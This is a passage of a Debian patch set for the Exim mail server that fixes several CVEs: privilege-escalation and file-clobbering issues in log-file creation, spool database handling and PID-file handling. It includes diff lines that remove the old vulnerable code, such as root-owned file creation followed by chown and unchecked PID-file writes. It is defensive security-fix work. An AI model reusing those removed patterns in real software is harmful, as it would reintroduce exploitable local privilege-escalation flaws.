+-history_buffer = string_sprintf(
+- "%salign_dkim %d\nalign_spf %d\naction %d\n",
+- history_buffer, da, sa, action);
+-
+-/* Write the contents to the history file */
+-DEBUG(D_receive)
+- debug_printf("DMARC logging history data for opendmarc reporting%s\n",
+- (host_checking || f.running_in_test_harness) ? " (not really)" : "");
+-if (host_checking || f.running_in_test_harness)
+- {
+- DEBUG(D_receive)
+- debug_printf("DMARC history data for debugging:\n%s", history_buffer);
+- }
+-else
+- {
+- written_len = write_to_fd_buf(history_file_fd,
+- history_buffer,
+- Ustrlen(history_buffer));
+- if (written_len == 0)
+- {
+- log_write(0, LOG_MAIN|LOG_PANIC, "failure to write to DMARC history file: %s",
+- dmarc_history_file);
+- return DMARC_HIST_WRITE_ERR;
+- }
+- (void)close(history_file_fd);
+- }
+-return DMARC_HIST_OK;
+-}
+-
+-
+ uschar *
+ dmarc_exim_expand_query(int what)
+ {
+diff --git a/src/exim.c b/src/exim.c
+index a7dc48c4e..f0a168983 100644
+--- a/src/exim.c
++++ b/src/exim.c
+@@ -227,18 +227,8 @@ int fd;
+
+ os_restarting_signal(sig, usr1_handler);
+
+-if ((fd = Uopen(process_log_path, O_APPEND|O_WRONLY, LOG_MODE)) < 0)
+- {
+- /* If we are already running as the Exim user, try to create it in the
+- current process (assuming spool_directory exists). Otherwise, if we are
+- root, do the creation in an exim:exim subprocess. */
+-
+- int euid = geteuid();
+- if (euid == exim_uid)
+- fd = Uopen(process_log_path, O_CREAT|O_APPEND|O_WRONLY, LOG_MODE);
+- else if (euid == root_uid)
+- fd = log_create_as_exim(process_log_path);
+- }
++if (!process_log_path) return;
++fd = log_open_as_exim(process_log_path);
+
+ /* If we are neither exim nor root, or if we failed to create the log file,
+ give up. There is not much useful we can do with errors, since we don't want
+diff --git a/src/functions.h b/src/functions.h
+index cab7a7363..366cb2f26 100644
+--- a/src/functions.h
++++ b/src/functions.h
+@@ -281,8 +281,7 @@ extern int ip_streamsocket(const uschar *, uschar **, int);
+ extern int ipv6_nmtoa(int *, uschar *);
+
+ extern uschar *local_part_quote(uschar *);
+-extern int log_create(uschar *);
+-extern int log_create_as_exim(uschar *);
++extern int log_open_as_exim(uschar *);
+ extern void log_close_all(void);
+
+ extern macro_item * macro_create(const uschar *, const uschar *, BOOL);
+diff --git a/src/log.c b/src/log.c
+index c8313890e..15c88c13e 100644
+--- a/src/log.c
++++ b/src/log.c
+@@ -264,14 +264,19 @@ overwrite it temporarily if it is necessary to create the directory.
+ Returns: a file descriptor, or < 0 on failure (errno set)
+ */
+
+-int
+-log_create(uschar *name)
++static int
++log_open_already_exim(uschar * const name)
+ {
+-int fd = Uopen(name,
+-#ifdef O_CLOEXEC
+- O_CLOEXEC |
+-#endif
+- O_CREAT|O_APPEND|O_WRONLY, LOG_MODE);
++int fd = -1;
++const int flags = O_WRONLY | O_APPEND | O_CREAT | O_NONBLOCK;
++
++if (geteuid() != exim_uid)
++ {
++ errno = EACCES;
++ return -1;
++ }
++
++fd = Uopen(name, flags, LOG_MODE);
+
+ /* If creation failed, attempt to build a log directory in case that is the
+ problem. */
+@@ -285,11 +290,7 @@ if (fd < 0 && errno == ENOENT)
+ DEBUG(D_any) debug_printf("%s log directory %s\n",
+ created ? "created" : "failed to create", name);
+ *lastslash = '/';
+- if (created) fd = Uopen(name,
+-#ifdef O_CLOEXEC
+- O_CLOEXEC |
+-#endif
+- O_CREAT|O_APPEND|O_WRONLY, LOG_MODE);
++ if (created) fd = Uopen(name, flags, LOG_MODE);
+ }
+
+ return fd;
+@@ -297,6 +298,81 @@ return fd;
+
+
+
++/* Inspired by OpenSSH's mm_send_fd(). Thanks! */
++
++static int
++log_send_fd(const int sock, const int fd)
++{
++struct msghdr msg;
++union {
++ struct cmsghdr hdr;
++ char buf[CMSG_SPACE(sizeof(int))];
++} cmsgbuf;
++struct cmsghdr *cmsg;
++struct iovec vec;
++char ch = 'A';
++ssize_t n;
++
++memset(&msg, 0, sizeof(msg));
++memset(&cmsgbuf, 0, sizeof(cmsgbuf));
++msg.msg_control = &cmsgbuf.buf;
++msg.msg_controllen = sizeof(cmsgbuf.buf);
++
++cmsg = CMSG_FIRSTHDR(&msg);
++cmsg->cmsg_len = CMSG_LEN(sizeof(int));
++cmsg->cmsg_level = SOL_SOCKET;
++cmsg->cmsg_type = SCM_RIGHTS;
++*(int *)CMSG_DATA(cmsg) = fd;
++
++vec.iov_base = &ch;
++vec.iov_len = 1;
++msg.msg_iov = &vec;
++msg.msg_iovlen = 1;
++
++while ((n = sendmsg(sock, &msg, 0)) == -1 && errno == EINTR);
++if (n != 1) return -1;
++return 0;
++}
++
++/* Inspired by OpenSSH's mm_receive_fd(). Thanks! */
++
++static int
++log_recv_fd(const int sock)
++{
++struct msghdr msg;
++union {
++ struct cmsghdr hdr;
++ char buf[CMSG_SPACE(sizeof(int))];
++} cmsgbuf;
++struct cmsghdr *cmsg;
++struct iovec vec;
++ssize_t n;
++char ch = '\0';
++int fd = -1;
++
++memset(&msg, 0, sizeof(msg));
++vec.iov_base = &ch;
++vec.iov_len = 1;
++msg.msg_iov = &vec;
++msg.msg_iovlen = 1;
++
++memset(&cmsgbuf, 0, sizeof(cmsgbuf));
++msg.msg_control = &cmsgbuf.buf;
++msg.msg_controllen = sizeof(cmsgbuf.buf);
++
++while ((n = recvmsg(sock, &msg, 0)) == -1 && errno == EINTR);
++if (n != 1 || ch != 'A') return -1;
++
++cmsg = CMSG_FIRSTHDR(&msg);
++if (cmsg == NULL) return -1;
++if (cmsg->cmsg_type != SCM_RIGHTS) return -1;
++fd = *(const int *)CMSG_DATA(cmsg);
++if (fd < 0) return -1;
++return fd;
++}
++
++
++
+ /*************************************************
+ * Create a log file as the exim user *
+ *************************************************/
+@@ -312,41 +388,60 @@ Returns: a file descriptor, or < 0 on failure (errno set)
+ */
+
+ int
+-log_create_as_exim(uschar *name)
++log_open_as_exim(uschar * const name)
+ {
+-pid_t pid = fork();
+-int status = 1;
+ int fd = -1;
++const uid_t euid = geteuid();
+
+-/* In the subprocess, change uid/gid and do the creation. Return 0 from the
+-subprocess on success. If we don't check for setuid failures, then the file
+-can be created as root, so vulnerabilities which cause setuid to fail mean
+-that the Exim user can use symlinks to cause a file to be opened/created as
+-root. We always open for append, so can't nuke existing content but it would
+-still be Rather Bad. */
+-
+-if (pid == 0)
++if (euid == exim_uid)
+ {
+- if (setgid(exim_gid) < 0)
+- die(US"exim: setgid for log-file creation failed, aborting",
+- US"Unexpected log failure, please try later");
+- if (setuid(exim_uid) < 0)
+- die(US"exim: setuid for log-file creation failed, aborting",
+- US"Unexpected log failure, please try later");
+- _exit((log_create(name) < 0)? 1 : 0);
++ fd = log_open_already_exim(name);
+ }
++else if (euid == root_uid)
++ {
++ int sock[2];
++ if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock) == 0)
++ {
++ const pid_t pid = fork();
++ if (pid == 0)
++ {
++ (void)close(sock[0]);
++ if (setgroups(1, &exim_gid) != 0) _exit(EXIT_FAILURE);
++ if (setgid(exim_gid) != 0) _exit(EXIT_FAILURE);
++ if (setuid(exim_uid) != 0) _exit(EXIT_FAILURE);
++
++ if (getuid() != exim_uid || geteuid() != exim_uid) _exit(EXIT_FAILURE);
++ if (getgid() != exim_gid || getegid() != exim_gid) _exit(EXIT_FAILURE);
++
++ fd = log_open_already_exim(name);
++ if (fd < 0) _exit(EXIT_FAILURE);
++ if (log_send_fd(sock[1], fd) != 0) _exit(EXIT_FAILURE);
++ (void)close(sock[1]);
++ _exit(EXIT_SUCCESS);
++ }
+
+-/* If we created a subprocess, wait for it. If it succeeded, try the open. */
+-
+-while (pid > 0 && waitpid(pid, &status, 0) != pid);
+-if (status == 0) fd = Uopen(name,
+-#ifdef O_CLOEXEC
+- O_CLOEXEC |
+-#endif
+- O_APPEND|O_WRONLY, LOG_MODE);
++ (void)close(sock[1]);
++ if (pid > 0)
++ {
++ fd = log_recv_fd(sock[0]);
++ while (waitpid(pid, NULL, 0) == -1 && errno == EINTR);
++ }
++ (void)close(sock[0]);
++ }
++ }
+
+-/* If we failed to create a subprocess, we are in a bad way. We return
+-with fd still < 0, and errno set, letting the caller handle the error. */
++if (fd >= 0)
++ {
++ int flags;
++ flags = fcntl(fd, F_GETFD);
++ if (flags != -1) (void)fcntl(fd, F_SETFD, flags | FD_CLOEXEC);
++ flags = fcntl(fd, F_GETFL);
++ if (flags != -1) (void)fcntl(fd, F_SETFL, flags & ~O_NONBLOCK);
++ }
++else
++ {
++ errno = EACCES;
++ }
+
+ return fd;
+ }
+@@ -459,52 +554,17 @@ if (!ok)
+ die(US"exim: log file path too long: aborting",
+ US"Logging failure; please try later");
+
+-/* We now have the file name. Try to open an existing file. After a successful
+-open, arrange for automatic closure on exec(), and then return. */
++/* We now have the file name. After a successful open, return. */
+
+-*fd = Uopen(buffer,
+-#ifdef O_CLOEXEC
+- O_CLOEXEC |
+-#endif
+- O_APPEND|O_WRONLY, LOG_MODE);
++*fd = log_open_as_exim(buffer);
+
+ if (*fd >= 0)
+ {
+-#ifndef O_CLOEXEC
+- (void)fcntl(*fd, F_SETFD, fcntl(*fd, F_GETFD) | FD_CLOEXEC);
+-#endif
+ return;
+ }
+
+-/* Open was not successful: try creating the file. If this is a root process,
+-we must do the creating in a subprocess set to exim:exim in order to ensure
+-that the file is created with the right ownership. Otherwise, there can be a
+-race if another Exim process is trying to write to the log at the same time.
+-The use of SIGUSR1 by the exiwhat utility can provoke a lot of simultaneous
+-writing. */
+-
+ euid = geteuid();
+
+-/* If we are already running as the Exim user (even if that user is root),
+-we can go ahead and create in the current process. */
+-
+-if (euid == exim_uid) *fd = log_create(buffer);
+-
+-/* Otherwise, if we are root, do the creation in an exim:exim subprocess. If we
+-are neither exim nor root, creation is not attempted. */
+-
+-else if (euid == root_uid) *fd = log_create_as_exim(buffer);
+-
+-/* If we now have an open file, set the close-on-exec flag and return. */
+-
+-if (*fd >= 0)
+- {
+-#ifndef O_CLOEXEC
+- (void)fcntl(*fd, F_SETFD, fcntl(*fd, F_GETFD) | FD_CLOEXEC);
+-#endif
+- return;
+- }
+-
+ /* Creation failed. There are some circumstances in which we get here when
+ the effective uid is not root or exim, which is the problem. (For example, a
+ non-setuid binary with log_arguments set, called in certain ways.) Rather than
+--
+2.30.2
+
diff --git a/debian/patches/84_24-CVE-2020-28008-Assorted-attacks-in-Exim-s-spool-dire.patch b/debian/patches/84_24-CVE-2020-28008-Assorted-attacks-in-Exim-s-spool-dire.patch
new file mode 100644
index 0000000..2bda99c
--- /dev/null
+++ b/debian/patches/84_24-CVE-2020-28008-Assorted-attacks-in-Exim-s-spool-dire.patch
@@ -0,0 +1,205 @@
+From 5fec3406547fd1e46838a76f000102beb6bfe468 Mon Sep 17 00:00:00 2001
+From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de>
+Date: Sun, 14 Mar 2021 12:16:57 +0100
+Subject: [PATCH 24/29] CVE-2020-28008: Assorted attacks in Exim's spool
+ directory
+
+We patch dbfn_open() by introducing two functions priv_drop_temp() and
+priv_restore() (inspired by OpenSSH's functions temporarily_use_uid()
+and restore_uid()), which temporarily drop and restore root privileges
+thanks to seteuid(). This goes against Exim's developers' wishes ("Exim
+(the project) doesn't trust seteuid to work reliably") but, to the best
+of our knowledge, seteuid() works everywhere and is the only way to
+securely fix dbfn_open().
+
+(cherry picked from commit 18da59151dbafa89be61c63580bdb295db36e374)
+(cherry picked from commit b05dc3573f4cd476482374b0ac0393153d344338)
+---
+ doc/ChangeLog | 6 +++
+ src/dbfn.c | 110 +++++++++++++++++++++++++-----------------
+ test/stderr/0275 | 2 +-
+ test/stderr/0278 | 2 +-
+ test/stderr/0386 | 2 +-
+ test/stderr/0388 | 2 +-
+ test/stderr/0402 | 2 +-
+ test/stderr/0403 | 2 +-
+ test/stderr/0404 | 2 +-
+ test/stderr/0408 | 2 +-
+ test/stderr/0487 | 2 +-
+ 11 files changed, 80 insertions(+), 54 deletions(-)
+
+diff --git a/doc/ChangeLog b/doc/ChangeLog
+index 5741fb212..b32347c5b 100644
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -14,6 +14,12 @@ JH/42 Bug 2545: Fix CHUNKING for all RCPT commands rejected. Previously we
+
+ Exim version 4.92.2
+ -------------------
++QS/02 PID file creation/deletion: only possible if uid=0 or uid is the Exim
++ runtime user.
++
++QS/01 Creation of (database) files in $spool_dir: only uid=0 or the euid of
++ the Exim runtime user are allowed to create files.
++
+
+ HS/01 Handle trailing backslash gracefully. (CVE-2019-15846)
+
+diff --git a/src/dbfn.c b/src/dbfn.c
+index 336cfe73e..902756508 100644
+--- a/src/dbfn.c
++++ b/src/dbfn.c
+@@ -59,6 +59,66 @@ log_write(0, LOG_MAIN, "Berkeley DB error: %s", msg);
+
+
+
++static enum {
++ PRIV_DROPPING, PRIV_DROPPED,
++ PRIV_RESTORING, PRIV_RESTORED
++} priv_state = PRIV_RESTORED;
++
++static uid_t priv_euid;
++static gid_t priv_egid;
++static gid_t priv_groups[EXIM_GROUPLIST_SIZE + 1];
++static int priv_ngroups;
++
++/* Inspired by OpenSSH's temporarily_use_uid(). Thanks! */
++
++static void
++priv_drop_temp(const uid_t temp_uid, const gid_t temp_gid)
++{
++if (priv_state != PRIV_RESTORED) _exit(EXIT_FAILURE);
++priv_state = PRIV_DROPPING;
++
++priv_euid = geteuid();
++if (priv_euid == root_uid)
++ {
++ priv_egid = getegid();
++ priv_ngroups = getgroups(nelem(priv_groups), priv_groups);
++ if (priv_ngroups < 0) _exit(EXIT_FAILURE);
++
++ if (priv_ngroups > 0 && setgroups(1, &temp_gid) != 0) _exit(EXIT_FAILURE);
++ if (setegid(temp_gid) != 0) _exit(EXIT_FAILURE);
++ if (seteuid(temp_uid) != 0) _exit(EXIT_FAILURE);
++
++ if (geteuid() != temp_uid) _exit(EXIT_FAILURE);
++ if (getegid() != temp_gid) _exit(EXIT_FAILURE);
++ }
++
++priv_state = PRIV_DROPPED;
++}
++
++/* Inspired by OpenSSH's restore_uid(). Thanks! */
++
++static void
++priv_restore(void)
++{
++if (priv_state != PRIV_DROPPED) _exit(EXIT_FAILURE);
++priv_state = PRIV_RESTORING;
++
++if (priv_euid == root_uid)
++ {
++ if (seteuid(priv_euid) != 0) _exit(EXIT_FAILURE);
++ if (setegid(priv_egid) != 0) _exit(EXIT_FAILURE);
++ if (priv_ngroups > 0 && setgroups(priv_ngroups, priv_groups) != 0) _exit(EXIT_FAILURE);
++
++ if (geteuid() != priv_euid) _exit(EXIT_FAILURE);
++ if (getegid() != priv_egid) _exit(EXIT_FAILURE);
++ }
++
++priv_state = PRIV_RESTORED;
++}
++
++
++
++
+ /*************************************************
+ * Open and lock a database file *
+ *************************************************/
+@@ -89,7 +149,6 @@ dbfn_open(uschar *name, int flags, open_db *dbblock, BOOL lof)
+ {
+ int rc, save_errno;
+ BOOL read_only = flags == O_RDONLY;
+-BOOL created = FALSE;
+ flock_t lock_data;
+ uschar dirname[256], filename[256];
+
+@@ -111,12 +170,13 @@ exists, there is no error. */
+ snprintf(CS dirname, sizeof(dirname), "%s/db", spool_directory);
+ snprintf(CS filename, sizeof(filename), "%s/%s.lockfile", dirname, name);
+
++priv_drop_temp(exim_uid, exim_gid);
+ if ((dbblock->lockfd = Uopen(filename, O_RDWR, EXIMDB_LOCKFILE_MODE)) < 0)
+ {
+- created = TRUE;
+ (void)directory_make(spool_directory, US"db", EXIMDB_DIRECTORY_MODE, TRUE);
+ dbblock->lockfd = Uopen(filename, O_RDWR|O_CREAT, EXIMDB_LOCKFILE_MODE);
+ }
++priv_restore();
+
+ if (dbblock->lockfd < 0)
+ {
+@@ -165,57 +225,17 @@ it easy to pin this down, there are now debug statements on either side of the
+ open call. */
+
+ snprintf(CS filename, sizeof(filename), "%s/%s", dirname, name);
+-EXIM_DBOPEN(filename, dirname, flags, EXIMDB_MODE, &(dbblock->dbptr));
+
++priv_drop_temp(exim_uid, exim_gid);
++EXIM_DBOPEN(filename, dirname, flags, EXIMDB_MODE, &(dbblock->dbptr));
+ if (!dbblock->dbptr && errno == ENOENT && flags == O_RDWR)
+ {
+ DEBUG(D_hints_lookup)
+ debug_printf_indent("%s appears not to exist: trying to create\n", filename);
+- created = TRUE;
+ EXIM_DBOPEN(filename, dirname, flags|O_CREAT, EXIMDB_MODE, &(dbblock->dbptr));
+ }
+-
+ save_errno = errno;
+-
+-/* If we are running as root and this is the first access to the database, its
+-files will be owned by root. We want them to be owned by exim. We detect this
+-situation by noting above when we had to create the lock file or the database
+-itself. Because the different dbm libraries use different extensions for their
+-files, I don't know of any easier way of arranging this than scanning the
+-directory for files with the appropriate base name. At least this deals with
+-the lock file at the same time. Also, the directory will typically have only
+-half a dozen files, so the scan will be quick.
+-
+-This code is placed here, before the test for successful opening, because there
+-was a case when a file was created, but the DBM library still returned NULL
+-because of some problem. It also sorts out the lock file if that was created
+-but creation of the database file failed. */
+-
+-if (created && geteuid() == root_uid)
+- {
+- DIR *dd;
+- struct dirent *ent;
+- uschar *lastname = Ustrrchr(filename, '/') + 1;
+- int namelen = Ustrlen(name);
+-
+- *lastname = 0;
+- dd = opendir(CS filename);
+-
+- while ((ent = readdir(dd)))
+- if (Ustrncmp(ent->d_name, name, namelen) == 0)
+- {
+- struct stat statbuf;
+- Ustrcpy(lastname, ent->d_name);
+- if (Ustat(filename, &statbuf) >= 0 && statbuf.st_uid != exim_uid)
+- {
+- DEBUG(D_hints_lookup) debug_printf_indent("ensuring %s is owned by exim\n", filename);
+- if (Uchown(filename, exim_uid, exim_gid))
+- DEBUG(D_hints_lookup) debug_printf_indent("failed setting %s to owned by exim\n", filename);
+- }
+- }
+-
+- closedir(dd);
+- }
++priv_restore();
+
+ /* If the open has failed, return NULL, leaving errno set. If lof is TRUE,
+ log the event - also for debugging - but debug only if the file just doesn't
+--
+2.30.2
+
diff --git a/debian/patches/84_26-CVE-2020-28014-CVE-2021-27216-Arbitrary-PID-file-cre.patch b/debian/patches/84_26-CVE-2020-28014-CVE-2021-27216-Arbitrary-PID-file-cre.patch
new file mode 100644
index 0000000..3e73ae1
--- /dev/null
+++ b/debian/patches/84_26-CVE-2020-28014-CVE-2021-27216-Arbitrary-PID-file-cre.patch
@@ -0,0 +1,303 @@
+From c166890023f56388cb3482cff3def04171a488c4 Mon Sep 17 00:00:00 2001
+From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de>
+Date: Thu, 25 Mar 2021 22:48:09 +0100
+Subject: [PATCH 26/29] CVE-2020-28014, CVE-2021-27216: Arbitrary PID file
+ creation, clobbering, and deletion
+
+Arbitrary PID file creation, clobbering, and deletion.
+Patch provided by Qualys.
+
+(cherry picked from commit 974f32939a922512b27d9f0a8a1cb5dec60e7d37)
+(cherry picked from commit 43c6f0b83200b7082353c50187ef75de3704580a)
+---
+ doc/ChangeLog | 5 +
+ src/daemon.c | 212 ++++++++++++++++++++++++++++++++++++++----
+ src/exim.c | 12 ++-
+ test/stderr/0433 | 24 +++++
+ 4 files changed, 232 insertions(+), 21 deletions(-)
+
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -10,13 +10,18 @@ QS/02 PID file creation/deletion: only p
+ runtime user.
+
+ QS/01 Creation of (database) files in $spool_dir: only uid=0 or the euid of
+ the Exim runtime user are allowed to create files.
+
++QS/01 Creation of (database) files in $spool_dir: only uid=0 or the uid of
++ the Exim runtime user are allowed to create files.
+
+ HS/01 Handle trailing backslash gracefully. (CVE-2019-15846)
+
++QS/02 PID file creation/deletion: only possible if uid=0 or uid is the Exim
++ runtime user.
++
+
+ Since version 4.92
+ ------------------
+
+ JH/06 Fix buggy handling of autoreply bounce_return_size_limit, and a possible
+--- a/src/daemon.c
++++ b/src/daemon.c
+@@ -886,10 +886,198 @@ while ((pid = waitpid(-1, &status, WNOHA
+ }
+ }
+ }
+
+
++static void
++set_pid_file_path(void)
++{
++if (override_pid_file_path)
++ pid_file_path = override_pid_file_path;
++
++if (!*pid_file_path)
++ pid_file_path = string_sprintf("%s/exim-daemon.pid", spool_directory);
++
++if (pid_file_path[0] != '/')
++ log_write(0, LOG_PANIC_DIE, "pid file path %s must be absolute\n", pid_file_path);
++}
++
++
++enum pid_op { PID_WRITE, PID_CHECK, PID_DELETE };
++
++/* Do various pid file operations as safe as possible. Ideally we'd just
++drop the privileges for creation of the pid file and not care at all about removal of
++the file. FIXME.
++Returns: true on success, false + errno==EACCES otherwise
++*/
++static BOOL
++operate_on_pid_file(const enum pid_op operation, const pid_t pid)
++{
++char pid_line[sizeof(int) * 3 + 2];
++const int pid_len = snprintf(pid_line, sizeof(pid_line), "%d\n", (int)pid);
++BOOL lines_match = FALSE;
++
++char * path = NULL;
++char * base = NULL;
++char * dir = NULL;
++
++const int dir_flags = O_RDONLY | O_NONBLOCK;
++const int base_flags = O_NOFOLLOW | O_NONBLOCK;
++const mode_t base_mode = 0644;
++struct stat sb;
++
++int cwd_fd = -1;
++int dir_fd = -1;
++int base_fd = -1;
++
++BOOL success = FALSE;
++errno = EACCES;
++
++set_pid_file_path();
++if (!f.running_in_test_harness && real_uid != root_uid && real_uid != exim_uid) goto cleanup;
++if (pid_len < 2 || pid_len >= (int)sizeof(pid_line)) goto cleanup;
++
++path = CS string_copy(pid_file_path);
++if ((base = Ustrrchr(path, '/')) == NULL) /* should not happen, but who knows */
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "pid file path \"%s\" does not contain a '/'", pid_file_path);
++
++dir = (base != path) ? path : "/";
++*base++ = '\0';
++
++if (!dir || !*dir || *dir != '/') goto cleanup;
++if (!base || !*base || strchr(base, '/') != NULL) goto cleanup;
++
++cwd_fd = open(".", dir_flags);
++if (cwd_fd < 0 || fstat(cwd_fd, &sb) != 0 || !S_ISDIR(sb.st_mode)) goto cleanup;
++dir_fd = open(dir, dir_flags);
++if (dir_fd < 0 || fstat(dir_fd, &sb) != 0 || !S_ISDIR(sb.st_mode)) goto cleanup;
++
++/* emulate openat */
++if (fchdir(dir_fd) != 0) goto cleanup;
++base_fd = open(base, O_RDONLY | base_flags);
++if (fchdir(cwd_fd) != 0)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "can't return to previous working dir: %s", strerror(errno));
++
++if (base_fd >= 0)
++ {
++ char line[sizeof(pid_line)];
++ ssize_t len = -1;
++
++ if (fstat(base_fd, &sb) != 0 || !S_ISREG(sb.st_mode)) goto cleanup;
++ if ((sb.st_mode & 07777) != base_mode || sb.st_nlink != 1) goto cleanup;
++ if (sb.st_size < 2 || sb.st_size >= (off_t)sizeof(line)) goto cleanup;
++
++ len = read(base_fd, line, sizeof(line));
++ if (len != (ssize_t)sb.st_size) goto cleanup;
++ line[len] = '\0';
++
++ if (strspn(line, "0123456789") != (size_t)len-1) goto cleanup;
++ if (line[len-1] != '\n') goto cleanup;
++ lines_match = (len == pid_len && strcmp(line, pid_line) == 0);
++ }
++
++if (operation == PID_WRITE)
++ {
++ if (!lines_match)
++ {
++ if (base_fd >= 0)
++ {
++ int error = -1;
++ /* emulate unlinkat */
++ if (fchdir(dir_fd) != 0) goto cleanup;
++ error = unlink(base);
++ if (fchdir(cwd_fd) != 0)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "can't return to previous working dir: %s", strerror(errno));
++ if (error) goto cleanup;
++ (void)close(base_fd);
++ base_fd = -1;
++ }
++ /* emulate openat */
++ if (fchdir(dir_fd) != 0) goto cleanup;
++ base_fd = open(base, O_WRONLY | O_CREAT | O_EXCL | base_flags, base_mode);
++ if (fchdir(cwd_fd) != 0)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "can't return to previous working dir: %s", strerror(errno));
++ if (base_fd < 0) goto cleanup;
++ if (fchmod(base_fd, base_mode) != 0) goto cleanup;
++ if (write(base_fd, pid_line, pid_len) != pid_len) goto cleanup;
++ DEBUG(D_any) debug_printf("pid written to %s\n", pid_file_path);
++ }
++ }
++else
++ {
++ if (!lines_match) goto cleanup;
++ if (operation == PID_DELETE)
++ {
++ int error = -1;
++ /* emulate unlinkat */
++ if (fchdir(dir_fd) != 0) goto cleanup;
++ error = unlink(base);
++ if (fchdir(cwd_fd) != 0)
++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "can't return to previous working dir: %s", strerror(errno));
++ if (error) goto cleanup;
++ }
++ }
++
++success = TRUE;
++errno = 0;
++
++cleanup:
++if (cwd_fd >= 0) (void)close(cwd_fd);
++if (dir_fd >= 0) (void)close(dir_fd);
++if (base_fd >= 0) (void)close(base_fd);
++return success;
++}
++
++
++/* Remove the daemon's pidfile. Note: runs with root privilege,
++as a direct child of the daemon. Does not return. */
++
++void
++delete_pid_file(void)
++{
++const BOOL success = operate_on_pid_file(PID_DELETE, getppid());
++
++DEBUG(D_any)
++ debug_printf("delete pid file %s %s: %s\n", pid_file_path,
++ success ? "success" : "failure", strerror(errno));
++
++exim_exit(EXIT_SUCCESS, US"");
++}
++
++
++/* Called by the daemon; exec a child to get the pid file deleted
++since we may require privs for the containing directory */
++
++static void
++daemon_die(void)
++{
++int pid;
++
++DEBUG(D_any) debug_printf("SIGTERM/SIGINT seen\n");
++#if defined(SUPPORT_TLS) && (defined(EXIM_HAVE_INOTIFY) || defined(EXIM_HAVE_KEVENT))
++tls_watch_invalidate();
++#endif
++
++if (f.running_in_test_harness || write_pid)
++ {
++ if ((pid = fork()) == 0)
++ {
++ if (override_pid_file_path)
++ (void)child_exec_exim(CEE_EXEC_PANIC, FALSE, NULL, FALSE, 3,
++ "-oP", override_pid_file_path, "-oPX");
++ else
++ (void)child_exec_exim(CEE_EXEC_PANIC, FALSE, NULL, FALSE, 1, "-oPX");
++
++ /* Control never returns here. */
++ }
++ if (pid > 0)
++ child_close(pid, 1);
++ }
++exim_exit(EXIT_SUCCESS, US"");
++}
++
++
+
+ /*************************************************
+ * Exim Daemon Mainline *
+ *************************************************/
+
+@@ -1538,32 +1726,18 @@ automatically. Consequently, Exim 4 writ
+
+ The variable daemon_write_pid is used to control this. */
+
+ if (f.running_in_test_harness || write_pid)
+ {
+- FILE *f;
+-
+- if (override_pid_file_path)
+- pid_file_path = override_pid_file_path;
+-
+- if (pid_file_path[0] == 0)
+- pid_file_path = string_sprintf("%s/exim-daemon.pid", spool_directory);
+-
+- if ((f = modefopen(pid_file_path, "wb", 0644)))
+- {
+- (void)fprintf(f, "%d\n", (int)getpid());
+- (void)fclose(f);
+- DEBUG(D_any) debug_printf("pid written to %s\n", pid_file_path);
+- }
+- else
+- DEBUG(D_any)
+- debug_printf("%s\n", string_open_failed(errno, "pid file %s",
+- pid_file_path));
++ const enum pid_op operation = (f.running_in_test_harness
++ || real_uid == root_uid
++ || (real_uid == exim_uid && !override_pid_file_path)) ? PID_WRITE : PID_CHECK;
++ if (!operate_on_pid_file(operation, getpid()))
++ DEBUG(D_any) debug_printf("%s pid file %s: %s\n", (operation == PID_WRITE) ? "write" : "check", pid_file_path, strerror(errno));
+ }
+
+ /* Set up the handler for SIGHUP, which causes a restart of the daemon. */
+-
+ sighup_seen = FALSE;
+ signal(SIGHUP, sighup_handler);
+
+ /* Give up root privilege at this point (assuming that exim_uid and exim_gid
+ are not root). The third argument controls the running of initgroups().
+--- a/src/exim.c
++++ b/src/exim.c
+@@ -3042,12 +3042,20 @@ for (i = 1; i < argc; i++)
+
+ else if (Ustrcmp(argrest, "o") == 0) {}
+
+ /* -oP <name>: set pid file path for daemon */
+
+- else if (Ustrcmp(argrest, "P") == 0)
+- override_pid_file_path = argv[++i];
++ else if (*argrest == 'P')
++ {
++ if (!f.running_in_test_harness && real_uid != root_uid && real_uid != exim_uid)
++ exim_fail("exim: only uid=%d or uid=%d can use -oP and -oPX "
++ "(uid=%d euid=%d | %d)\n",
++ root_uid, exim_uid, getuid(), geteuid(), real_uid);
++ if (Ustrcmp(argrest, "P") == 0) override_pid_file_path = argv[++i];
++ else if (Ustrcmp(argrest, "PX") == 0) delete_pid_file();
++ else badarg = TRUE;
++ }
+
+ /* -or <n>: set timeout for non-SMTP acceptance
+ -os <n>: set timeout for SMTP acceptance */
+
+ else if (*argrest == 'r' || *argrest == 's')
diff --git a/debian/patches/84_27-testsuite-adjustments-for-CVE-2020-28014-CVE-2021-27.patch b/debian/patches/84_27-testsuite-adjustments-for-CVE-2020-28014-CVE-2021-27.patch
new file mode 100644
index 0000000..d0dc071
--- /dev/null
+++ b/debian/patches/84_27-testsuite-adjustments-for-CVE-2020-28014-CVE-2021-27.patch
@@ -0,0 +1,57 @@
+From 47a48ed569503d8730bafcfd0f96d27cb72c9454 Mon Sep 17 00:00:00 2001
+From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de>
+Date: Sat, 1 May 2021 11:21:22 +0200
+Subject: [PATCH 27/29] testsuite: adjustments for CVE-2020-28014,
+ CVE-2021-27216 (Arbitrary PID file creation)
+
+---
+ src/daemon.c | 32 --------------------------------
+ test/stderr/0433 | 24 ------------------------
+ 2 files changed, 56 deletions(-)
+
+diff --git a/src/daemon.c b/src/daemon.c
+index 9403472f3..7c15d148c 100644
+--- a/src/daemon.c
++++ b/src/daemon.c
+@@ -1044,38 +1044,6 @@ exim_exit(EXIT_SUCCESS, US"");
+ }
+
+
+-/* Called by the daemon; exec a child to get the pid file deleted
+-since we may require privs for the containing directory */
+-
+-static void
+-daemon_die(void)
+-{
+-int pid;
+-
+-DEBUG(D_any) debug_printf("SIGTERM/SIGINT seen\n");
+-#if defined(SUPPORT_TLS) && (defined(EXIM_HAVE_INOTIFY) || defined(EXIM_HAVE_KEVENT))
+-tls_watch_invalidate();
+-#endif
+-
+-if (f.running_in_test_harness || write_pid)
+- {
+- if ((pid = fork()) == 0)
+- {
